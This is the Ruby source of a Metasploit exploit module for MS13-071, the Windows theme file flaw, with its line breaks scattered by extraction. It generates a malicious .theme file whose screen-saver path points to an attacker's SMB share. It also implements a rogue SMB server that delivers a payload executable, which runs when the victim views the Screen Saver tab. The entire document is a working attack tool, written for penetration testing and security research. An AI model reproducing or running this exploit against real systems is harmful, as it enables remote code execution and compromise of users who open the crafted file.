##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::
FILEFORMAT
include Msf::Exploit::
EXE
include Msf::Exploit::Remote::SMBServer
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution"
,
'Description'
=> %q{
This
module
exploits a vulnerability mainly affecting Microsoft Windows
XP
and
Windows
2003
. The vulnerability exists
in
the handling of the Screen Saver path,
in
the [boot]
section. An arbitrary path can be used as screen saver, including a remote
SMB
resource,
which allows
for
remote code execution
when
a malicious .theme file is opened,
and
the
"Screen Saver"
tab is viewed.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Eduardo Prado'
,
# Vulnerability discovery
'juan vazquez'
# Metasploit module
],
'References'
=>
[
[
'CVE'
,
'2013-0810'
],
[
'OSVDB'
,
'97136'
],
[
'MSB'
,
'MS13-071'
],
[
'BID'
,
'62176'
]
],
'Payload'
=>
{
'Space'
=>
2048
,
'DisableNops'
=>
true
},
'DefaultOptions'
=>
{
'DisablePayloadHandler'
=>
'false'
},
'Platform'
=>
'win'
,
'Targets'
=>
[
[
'Windows XP SP3 / Windows 2003 SP2'
, {}],
],
'Privileged'
=>
false
,
'DisclosureDate'
=>
"Sep 10 2013"
,
'DefaultTarget'
=>
0
))
register_options(
[
OptString.
new
(
'FILENAME'
, [
true
,
'The theme file'
,
'msf.theme'
]),
OptString.
new
(
'UNCPATH'
, [
false
,
'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)'
])
],
self
.
class
)
end
def
exploit
if
(datastore[
'UNCPATH'
])
@unc
= datastore[
'UNCPATH'
]
print_status(
"Remember to share the malicious EXE payload as #{@unc}"
)
else
print_status(
"Generating our malicious executable..."
)
@exe
= generate_payload_exe
my_host = (datastore[
'SRVHOST'
] ==
'0.0.0.0'
) ? Rex::Socket.source_address : datastore[
'SRVHOST'
]
@share
= rand_text_alpha(
5
+ rand(
5
))
@scr_file
=
"#{rand_text_alpha(5 + rand(5))}.scr"
@hi
,
@lo
=
UTILS
.time_unix_to_smb(
Time
.now.to_i)
@unc
=
"\\\\#{my_host}\\#{@share}\\#{@scr_file}"
end
print_status(
"Creating '#{datastore['FILENAME']}' file ..."
)
# Default Windows XP / 2003 theme modified
theme = <<-
EOF
; Copyright © Microsoft Corp.
1995
-
2001
[Theme]
DisplayName=
@themeui
.dll,-
2016
; My Computer
[
CLSID
\\{
20D04FE0
-
3AEA
-
1069
-
A2D8
-
08002B30309D
}\\DefaultIcon]
DefaultValue=%WinDir%explorer.exe,
0
; My Documents
[
CLSID
\\{
450D8FBA
-
AD25
-
11D0
-
98A8
-
0800361B1103
}\\DefaultIcon]
DefaultValue=%WinDir%
SYSTEM32
\\mydocs.dll,
0
; My Network Places
[
CLSID
\\{
208D2C60
-
3AEA
-
1069
-
A2D7
-
08002B30309D
}\\DefaultIcon]
DefaultValue=%WinDir%
SYSTEM32
\\shell32.dll,
17
; Recycle Bin
[
CLSID
\\{
645FF040
-
5081
-
101B
-
9F08
-
00AA002F954E
}\\DefaultIcon]
full=%WinDir%
SYSTEM32
\\shell32.dll,
32
empty=%WinDir%
SYSTEM32
\\shell32.dll,
31
[Control Panel\\Desktop]
Wallpaper=
TileWallpaper=
0
WallpaperStyle=
2
Pattern=
ScreenSaveActive=
0
[boot]
SCRNSAVE
.
EXE
=
#{@unc}
[MasterThemeSelector]
MTSM
=
DABJDKT
EOF
file_create(theme)
print_good(
"Let your victim open #{datastore['FILENAME']}"
)
if
not
datastore[
'UNCPATH'
]
print_status(
"Ready to deliver your payload on #{@unc}"
)
super
end
end
# TODO: these smb_* methods should be moved up to the SMBServer mixin
# development and test on progress
def
smb_cmd_dispatch(cmd, c, buff)
smb =
@state
[c]
vprint_status(
"Received command #{cmd} from #{smb[:name]}"
)
pkt =
CONST
::
SMB_BASE_PKT
.make_struct
pkt.from_s(buff)
#Record the IDs
smb[
:process_id
] = pkt[
'Payload'
][
'SMB'
].v[
'ProcessID'
]
smb[
:user_id
] = pkt[
'Payload'
][
'SMB'
].v[
'UserID'
]
smb[
:tree_id
] = pkt[
'Payload'
][
'SMB'
].v[
'TreeID'
]
smb[
:multiplex_id
] = pkt[
'Payload'
][
'SMB'
].v[
'MultiplexID'
]
case
cmd
when
CONST
::
SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
when
CONST
::
SMB_COM_SESSION_SETUP_ANDX
wordcount = pkt[
'Payload'
][
'SMB'
].v[
'WordCount'
]
if
wordcount == 0x0D
# It's the case for Share Security Mode sessions
smb_cmd_session_setup(c, buff)
else
vprint_status(
"SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... "
)
smb_error(cmd, c,
CONST
::
SMB_STATUS_SUCCESS
)
end
when
CONST
::
SMB_COM_TRANSACTION2
smb_cmd_trans(c, buff)
when
CONST
::
SMB_COM_NT_CREATE_ANDX
smb_cmd_create(c, buff)
when
CONST
::
SMB_COM_READ_ANDX
smb_cmd_read(c, buff)
else
vprint_status(
"SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})"
)
smb_error(cmd, c,
CONST
::
SMB_STATUS_SUCCESS
)
end
end
def
smb_cmd_negotiate(c, buff)
pkt =
CONST
::
SMB_NEG_PKT
.make_struct
pkt.from_s(buff)
dialects = pkt[
'Payload'
].v[
'Payload'
].gsub(/\x00/,
''
).split(/\x02/).grep(/^\w+/)
dialect = dialects.index(
"NT LM 0.12"
) || dialects.length-
1
pkt =
CONST
::
SMB_NEG_RES_NT_PKT
.make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo =
UTILS
.time_unix_to_smb(
Time
.now.to_i)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_NEGOTIATE
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
pkt[
'Payload'
][
'SMB'
].v[
'WordCount'
] =
17
pkt[
'Payload'
].v[
'Dialect'
] = dialect
pkt[
'Payload'
].v[
'SecurityMode'
] =
2
# SHARE Security Mode
pkt[
'Payload'
].v[
'MaxMPX'
] =
50
pkt[
'Payload'
].v[
'MaxVCS'
] =
1
pkt[
'Payload'
].v[
'MaxBuff'
] =
4356
pkt[
'Payload'
].v[
'MaxRaw'
] =
65536
pkt[
'Payload'
].v[
'SystemTimeLow'
] = time_lo
pkt[
'Payload'
].v[
'SystemTimeHigh'
] = time_hi
pkt[
'Payload'
].v[
'ServerTimeZone'
] = 0x0
pkt[
'Payload'
].v[
'SessionKey'
] =
0
pkt[
'Payload'
].v[
'Capabilities'
] = 0x80f3fd
pkt[
'Payload'
].v[
'KeyLength'
] =
8
pkt[
'Payload'
].v[
'Payload'
] = Rex::Text.rand_text_hex(
8
)
c.put(pkt.to_s)
end
def
smb_cmd_session_setup(c, buff)
pkt =
CONST
::
SMB_SETUP_RES_PKT
.make_struct
smb_set_defaults(c, pkt)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_SESSION_SETUP_ANDX
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
pkt[
'Payload'
][
'SMB'
].v[
'WordCount'
] =
3
pkt[
'Payload'
].v[
'AndX'
] = 0x75
pkt[
'Payload'
].v[
'Reserved1'
] =
00
pkt[
'Payload'
].v[
'AndXOffset'
] =
96
pkt[
'Payload'
].v[
'Action'
] = 0x1
# Logged in as Guest
pkt[
'Payload'
].v[
'Payload'
] =
Rex::Text.to_unicode(
"Unix"
,
'utf-16be'
) +
"\x00\x00"
+
# Native OS # Samba signature
Rex::Text.to_unicode(
"Samba 3.4.7"
,
'utf-16be'
) +
"\x00\x00"
+
# Native LAN Manager # Samba signature
Rex::Text.to_unicode(
"WORKGROUP"
,
'utf-16be'
) +
"\x00\x00\x00"
+
# Primary DOMAIN # Samba signature
tree_connect_response =
""
tree_connect_response << [
7
].pack(
"C"
)
# Tree Connect Response : WordCount
tree_connect_response << [0xff].pack(
"C"
)
# Tree Connect Response : AndXCommand
tree_connect_response << [
0
].pack(
"C"
)
# Tree Connect Response : Reserved
tree_connect_response << [
0
].pack(
"v"
)
# Tree Connect Response : AndXOffset
tree_connect_response << [0x1].pack(
"v"
)
# Tree Connect Response : Optional Support
tree_connect_response << [0xa9].pack(
"v"
)
# Tree Connect Response : Word Parameter
tree_connect_response << [0x12].pack(
"v"
)
# Tree Connect Response : Word Parameter
tree_connect_response << [
0
].pack(
"v"
)
# Tree Connect Response : Word Parameter
tree_connect_response << [
0
].pack(
"v"
)
# Tree Connect Response : Word Parameter
tree_connect_response << [
13
].pack(
"v"
)
# Tree Connect Response : ByteCount
tree_connect_response <<
"A:\x00"
# Service
tree_connect_response <<
"#{Rex::Text.to_unicode("
NTFS
")}\x00\x00"
# Extra byte parameters
# Fix the Netbios Session Service Message Length
# to have into account the tree_connect_response,
# need to do this because there isn't support for
# AndX still
my_pkt = pkt.to_s + tree_connect_response
original_length = my_pkt[
2
,
2
].unpack(
"n"
).first
original_length = original_length + tree_connect_response.length
my_pkt[
2
,
2
] = [original_length].pack(
"n"
)
c.put(my_pkt)
end
def
smb_cmd_create(c, buff)
pkt =
CONST
::
SMB_CREATE_PKT
.make_struct
pkt.from_s(buff)
if
pkt[
'Payload'
].v[
'Payload'
] =~ /
#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
pkt =
CONST
::
SMB_CREATE_RES_PKT
.make_struct
smb_set_defaults(c, pkt)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_NT_CREATE_ANDX
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
pkt[
'Payload'
][
'SMB'
].v[
'WordCount'
] =
42
pkt[
'Payload'
].v[
'AndX'
] = 0xff
# no further commands
pkt[
'Payload'
].v[
'OpLock'
] = 0x2
# No need to track fid here, we're just offering one file
pkt[
'Payload'
].v[
'FileID'
] = rand(0x7fff) +
1
# To avoid fid = 0
pkt[
'Payload'
].v[
'Action'
] = 0x1
# The file existed and was opened
pkt[
'Payload'
].v[
'CreateTimeLow'
] =
@lo
pkt[
'Payload'
].v[
'CreateTimeHigh'
] =
@hi
pkt[
'Payload'
].v[
'AccessTimeLow'
] =
@lo
pkt[
'Payload'
].v[
'AccessTimeHigh'
] =
@hi
pkt[
'Payload'
].v[
'WriteTimeLow'
] =
@lo
pkt[
'Payload'
].v[
'WriteTimeHigh'
] =
@hi
pkt[
'Payload'
].v[
'ChangeTimeLow'
] =
@lo
pkt[
'Payload'
].v[
'ChangeTimeHigh'
] =
@hi
pkt[
'Payload'
].v[
'Attributes'
] = 0x80
# Ordinary file
pkt[
'Payload'
].v[
'AllocLow'
] = 0x100000
pkt[
'Payload'
].v[
'AllocHigh'
] =
0
pkt[
'Payload'
].v[
'EOFLow'
] =
@exe
.length
pkt[
'Payload'
].v[
'EOFHigh'
] =
0
pkt[
'Payload'
].v[
'FileType'
] =
0
pkt[
'Payload'
].v[
'IPCState'
] = 0x7
pkt[
'Payload'
].v[
'IsDirectory'
] =
0
c.put(pkt.to_s)
else
pkt =
CONST
::
SMB_CREATE_RES_PKT
.make_struct
smb_set_defaults(c, pkt)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_NT_CREATE_ANDX
pkt[
'Payload'
][
'SMB'
].v[
'ErrorClass'
] = 0xC0000034
# OBJECT_NAME_NOT_FOUND
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
c.put(pkt.to_s)
end
end
def
smb_cmd_read(c, buff)
pkt =
CONST
::
SMB_READ_PKT
.make_struct
pkt.from_s(buff)
offset = pkt[
'Payload'
].v[
'Offset'
]
length = pkt[
'Payload'
].v[
'MaxCountLow'
]
pkt =
CONST
::
SMB_READ_RES_PKT
.make_struct
smb_set_defaults(c, pkt)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_READ_ANDX
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
pkt[
'Payload'
][
'SMB'
].v[
'WordCount'
] =
12
pkt[
'Payload'
].v[
'AndX'
] = 0xff
# no more commands
pkt[
'Payload'
].v[
'Remaining'
] = 0xffff
pkt[
'Payload'
].v[
'DataLenLow'
] = length
pkt[
'Payload'
].v[
'DataOffset'
] =
59
pkt[
'Payload'
].v[
'DataLenHigh'
] =
0
pkt[
'Payload'
].v[
'Reserved3'
] =
0
pkt[
'Payload'
].v[
'Reserved4'
] =
6
pkt[
'Payload'
].v[
'ByteCount'
] = length
pkt[
'Payload'
].v[
'Payload'
] =
@exe
[offset, length]
c.put(pkt.to_s)
end
def
smb_cmd_trans(c, buff)
pkt =
CONST
::
SMB_TRANS2_PKT
.make_struct
pkt.from_s(buff)
sub_command = pkt[
'Payload'
].v[
'SetupData'
].unpack(
"v"
).first
case
sub_command
when
0x5
# QUERY_PATH_INFO
smb_cmd_trans_query_path_info(c, buff)
when
0x1
# FIND_FIRST2
smb_cmd_trans_find_first2(c, buff)
else
pkt =
CONST
::
SMB_TRANS_RES_PKT
.make_struct
smb_set_defaults(c, pkt)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_TRANSACTION2
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
pkt[
'Payload'
][
'SMB'
].v[
'ErrorClass'
] = 0xc0000225
# NT_STATUS_NOT_FOUND
c.put(pkt.to_s)
end
end
def
smb_cmd_trans_query_path_info(c, buff)
pkt =
CONST
::
SMB_TRANS2_PKT
.make_struct
pkt.from_s(buff)
if
pkt[
'Payload'
].v[
'SetupData'
].length <
16
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
# return a Directory answer
pkt =
CONST
::
SMB_TRANS_RES_PKT
.make_struct
smb_set_defaults(c, pkt)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_TRANSACTION2
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
pkt[
'Payload'
][
'SMB'
].v[
'WordCount'
] =
10
pkt[
'Payload'
].v[
'ParamCountTotal'
] =
2
pkt[
'Payload'
].v[
'DataCountTotal'
] =
40
pkt[
'Payload'
].v[
'ParamCount'
] =
2
pkt[
'Payload'
].v[
'ParamOffset'
] =
56
pkt[
'Payload'
].v[
'DataCount'
] =
40
pkt[
'Payload'
].v[
'DataOffset'
] =
60
pkt[
'Payload'
].v[
'Payload'
] =
"\x00"
+
# Padding
# QUERY_PATH_INFO Parameters
"\x00\x00"
+
# EA Error Offset
"\x00\x00"
+
# Padding
#QUERY_PATH_INFO Data
[
@lo
,
@hi
].pack(
"VV"
) +
# Created
[
@lo
,
@hi
].pack(
"VV"
) +
# Last Access
[
@lo
,
@hi
].pack(
"VV"
) +
# Last Write
[
@lo
,
@hi
].pack(
"VV"
) +
# Change
"\x10\x00\x00\x00"
+
# File attributes => directory
"\x00\x00\x00\x00"
# Unknown
c.put(pkt.to_s)
else
# if QUERY_PATH_INFO_PARAMETERS includes a file name,
# returns an object name not found error
pkt =
CONST
::
SMB_TRANS_RES_PKT
.make_struct
smb_set_defaults(c, pkt)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_TRANSACTION2
pkt[
'Payload'
][
'SMB'
].v[
'ErrorClass'
] = 0xC0000034
#OBJECT_NAME_NOT_FOUND
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
c.put(pkt.to_s)
end
end
def
smb_cmd_trans_find_first2(c, buff)
pkt =
CONST
::
SMB_TRANS_RES_PKT
.make_struct
smb_set_defaults(c, pkt)
file_name = Rex::Text.to_unicode(
@scr_file
)
pkt[
'Payload'
][
'SMB'
].v[
'Command'
] =
CONST
::
SMB_COM_TRANSACTION2
pkt[
'Payload'
][
'SMB'
].v[
'Flags1'
] = 0x88
pkt[
'Payload'
][
'SMB'
].v[
'Flags2'
] = 0xc001
pkt[
'Payload'
][
'SMB'
].v[
'WordCount'
] =
10
pkt[
'Payload'
].v[
'ParamCountTotal'
] =
10
pkt[
'Payload'
].v[
'DataCountTotal'
] =
94
+ file_name.length
pkt[
'Payload'
].v[
'ParamCount'
] =
10
pkt[
'Payload'
].v[
'ParamOffset'
] =
56
pkt[
'Payload'
].v[
'DataCount'
] =
94
+ file_name.length
pkt[
'Payload'
].v[
'DataOffset'
] =
68
pkt[
'Payload'
].v[
'Payload'
] =
"\x00"
+
# Padding
# FIND_FIRST2 Parameters
"\xfd\xff"
+
# Search ID
"\x01\x00"
+
# Search count
"\x01\x00"
+
# End Of Search
"\x00\x00"
+
# EA Error Offset
"\x00\x00"
+
# Last Name Offset
"\x00\x00"
+
# Padding
#QUERY_PATH_INFO Data
[
94
+ file_name.length].pack(
"V"
) +
# Next Entry Offset
"\x00\x00\x00\x00"
+
# File Index
[
@lo
,
@hi
].pack(
"VV"
) +
# Created
[
@lo
,
@hi
].pack(
"VV"
) +
# Last Access
[
@lo
,
@hi
].pack(
"VV"
) +
# Last Write
[
@lo
,
@hi
].pack(
"VV"
) +
# Change
[
@exe
.length].pack(
"V"
) +
"\x00\x00\x00\x00"
+
# End Of File
"\x00\x00\x10\x00\x00\x00\x00\x00"
+
# Allocation size
"\x80\x00\x00\x00"
+
# File attributes => directory
[file_name.length].pack(
"V"
) +
# File name len
"\x00\x00\x00\x00"
+
# EA List Lenght
"\x00"
+
# Short file lenght
"\x00"
+
# Reserved
(
"\x00"
*
24
) +
file_name
c.put(pkt.to_s)
end
end